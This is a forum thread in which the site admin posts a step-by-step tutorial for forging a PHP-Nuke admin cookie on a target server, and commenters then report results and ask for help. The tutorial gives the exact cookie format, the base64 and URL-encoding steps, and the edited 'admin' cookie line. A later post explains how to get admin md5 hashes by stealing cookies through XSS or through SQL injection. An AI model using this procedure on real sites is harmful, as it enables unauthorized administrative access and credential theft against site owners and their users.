Waraxe IT Security Portal

waraxe · Site admin

PhpNuke cookies manual crafting HowTo

Step-by-step tutorial by waraxe

Well, let's start with some preparation work.

Now, let's move further. I assume, you already know where Mozilla's cookies are located. I have WindowsXP Home Edition and logged-in with username "nobody", so cookie file is located in folder:

C:\Documents and Settings\nobody\Application Data\Mozilla\Profiles\[some subfolders]\cookies.txt

Cookie file manual editing is dangerous, so beware. I suggest to make the backup first.

Next, I assume that you already have an account on target server. Go to login page, enter your username and password and log in.
Don't log out! And close Mozilla browser!! It's is very important!!!!!!!

Open "cookies.txt" and try to find cookie, which belongs to target server and named something like
"user". So, you can see long textline similar to this:

www.target.com FALSE / FALSE 1114433252 user NTgwOndhcmF4ZTozOTc5Yzf0MjQzZmFkY2MwpjBkYjk2YjdmZGQ0Y2FhMzoxMDo6MDowOjA6MDo6NDA5Ng%3D%3D

Ok, its time for the actual handwork - go to online base64 encoder at url:

http://base64-encoder-online.waraxe.us/base64/base64-encoder.php

and enter to query box actual "aid" and md5 hash, joined together with ":" (colon).
Example:

mranderson:098f4bcd4621d373caae4e832628b4f6

Now click "Encode" and you will see base64encoded string, in case of our example:

bXJhbmRlcnNvbjowOThmNGJjZDQ2MjFkMzczY2FhZTRlODMyNjI4YjRmNg==

If there are some "=" chars in the end, replace them with "%3D", so we will get this:

bXJhbmRlcnNvbjowOThmNGJjZDQ2MjFkMzczY2FhZTRlODMyNjI4YjRmNg%3D%3D

And next look up once again to Mozilla's cookie file - u saw this before -

www.target.com FALSE / FALSE 1114433252 user NTgwOndhcmF4ZTozOTc5Yzf0MjQzZmFkY2MwpjBkYjk2YjdmZGQ0Y2FhMzoxMDo6MDowOjA6MDo6NDA5Ng%3D%3D

So, replace "user" with "admin" and previous base64encoded string with the new one you just encoded.
Final result in our example will be something like this:

www.target.com FALSE / FALSE 1114433252 admin bXJhbmRlcnNvbjowOThmNGJjZDQ2MjFkMzczY2FhZTRlODMyNjI4YjRmNg%3D%3D

Thats all - save cookiefile changes, fire up Mozilla and see for yourself - mission is complete!

Any feedback is welcome!

SteX · Advanced user

Tutorial is Great..I am trying to do this for months ,but never works..
A never replace "=" with "%3D" ..
Keep working waraxe..
P.S :Where did you learn all this stuffs..?? Smile

waraxe · Site admin

Well, im kinda dedicated self-learner. As long as i remember myself,
im always interested in any new knowledge and experience. My area
of interests does not end with IT, it includes many more stuff - like chemistry,
astronomy, cosmology, gene engineering, molecular nanotechnology and
many-many more sciences/technologies...

5y573m f41lur3 · Regular user

Shradnag · Beginner

It seems like many people who visit this site are not native speekers of English.

waraxe · Site admin

Are you sure, that phpnuke version, you use, is not somehow patched against this sploiting? Coz many people reported about successfull tests of my tutorial. But ~10% tests fail. I dont now why, coz for me its working any time...

SpnFury · Beginner

Hi waraxe, i tryed to modify a cookie created with php-nuke, but don?t works... When i go to preferences menu of mozilla and i go to cookies the cookie of the site hasnt modified... why? plz help

terrible one · Regular user

is it possible to download that program u put the code into? or the source codes?

Jeruvy · Regular user

I wonder if this may be the reason...

if (!defined('ADMIN_PAGES')) { header('Location: ../../'); exit; }

J.

maxhak2000 · Beginner

thanks a lot....
but which version of Mozilla should i use,for this?

SteX · Advanced user

I use Mozilla Firefox 0.8 .. Laughing

Dark Dragon · Regular user

err, is the persons aid the same as the persons user name??

*Feals like a n00B*

Egy_Lover · Beginner

thanks alot waraxe.... Very Happy

but i have a problem with that, the aid is not in English and my browser can't read it! that's my problem....

how can i copy and paste it to be encoded??

waraxe · Site admin

In phpbb and phpnuke there are mainly 2 choices to obtain md5 hashes.
1 - XSS - victim must click on specific link or tricked somehow to trigger
cross site scripting conditions and to steal cookie with md5 hash inside.
There can be possibilities to script injection to forum posts/U2U messages
and other places.
2 - SQL Injection - you can get arbitrary md5 hash directly from database,
if you are lucky to find phpbb/phpnuke installation with not patched sql injection holes and IF union functionality is enabled (mysql version >= 4.x).

IGNOR3 · Regular user

It didn't work for me... do you have another way??

Specialy for PHP-NUKE 7.8